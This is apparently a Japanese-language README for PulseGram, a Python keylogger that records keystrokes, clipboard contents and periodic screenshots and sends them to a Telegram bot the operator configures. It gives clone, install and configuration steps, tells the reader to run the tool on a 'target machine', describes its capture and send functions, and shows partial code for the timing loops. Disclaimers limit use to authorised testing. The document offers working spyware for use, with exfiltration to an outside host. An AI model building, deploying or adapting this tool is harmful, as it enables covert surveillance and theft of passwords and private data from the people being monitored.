PulseGram は、Telegram ボットと統合されたキーロガーです。キーストローク、クリップボードの内容、スクリーンショットをキャプチャし、構成された Telegram ボットにすべての情報を送信する監視ツールです。敵対的シミュレーションやセキュリティテストの文脈での使用を想定しています。
⚠️ 警告: このプロジェクトは教育目的および許可された環境でのセキュリティテストにのみ使用されます。許可なくこのツールを使用すると違法となる可能性があり、禁止されています。
_____ _ _____
| __ \ | | / ____|
| |__) | _| |___ ___| | __ _ __ __ _ _ __ ___
| ___/ | | | / __|/ _ \ | |_ | '__/ _` | '_ ` _ \
| | | |_| | \__ \ __/ |__| | | | (_| | | | | | |
|_| \__,_|_|___/\___|\_____|_| \__,_|_| |_| |_|
著者: Omar Salazar
バージョン: V.1.0
errors_log.txt ファイルに記録し、デバッグを容易にします。
リポジトリをクローンする:
git clone https://github.com/TaurusOmar/pulsegram
cd pulsegram
依存関係をインストールする: Python 3 と pip がインストールされていることを確認し、次を実行します:
pip install -r requirements.txt
Telegram ボットトークンを設定する:
BotFather を使用して Telegram でボットを作成します。
トークンをコピーし、main.py 内でボットが初期化されているコードに貼り付けます。
keylogger.py 内で自分の ChatID chat_id="131933xxxx" をコピーします。
ターゲットマシンで次のコマンドを実行します:
python pulsegram.py
このファイルはツールのメインファイルで、ボットを初期化し、データのキャプチャと送信を行う非同期タスクを起動します。
Bot(token="..."): 個人トークンで Telegram ボットを初期化します。
asyncio.gather(...): クリップボード監視、スクリーンショットキャプチャ、キーストロークログを実行する複数のタスクを起動します。
log_error: エラーが発生した場合、errors_log.txt ファイルに記録します。
このモジュールには、ツール全体の動作を補助する補助関数が含まれています。
log_error(): エラーを日時形式で errors_log.txt に記録します。
get_clipboard_content(): クリップボードの現在の内容を取得します。
capture_screenshot(): スクリーンショットを撮影し、一時的に保存して Telegram ボットに送信します。
このモジュールは、キーロギング、クリップボード監視、スクリーンショットキャプチャを処理します。
capture_keystrokes(bot): キーストロークをキャプチャし、情報を Telegram ボットに送信する非同期関数です。
send_keystrokes_to_telegram(bot): 蓄積されたキーストロークをボットに送信します。
capture_screenshots(bot): 定期的に画面の画像をキャプチャし、ボットに送信します。
log_clipboard(bot): クリップボードの内容をボットに送信します。
キャプチャと情報送信の時間間隔を変更します。
async def send_keystrokes_to_telegram(bot):
global keystroke_buffer
while True:
await asyncio.sleep(1) # Change the key sending interval
async def capture_screenshots(bot):
while True:
await asyncio.sleep(30) # Change the screenshot capture interval
try:
async def log_clipboard(bot):
previous_content = ""
while True:
await asyncio.sleep(5) # Change the interval to check for clipboard changes
current_content = get_clipboard_content()
このプロジェクトは教育目的および自身の環境または明示的な許可を得た環境でのセキュリティテストのみを目的としています。許可なくこのツールを使用すると、現地の法律やプライバシーポリシーに違反する可能性があります。
貢献を歓迎します。協力する際は行動規範を尊重してください。
このプロジェクトは MIT ライセンスの下でライセンスされています。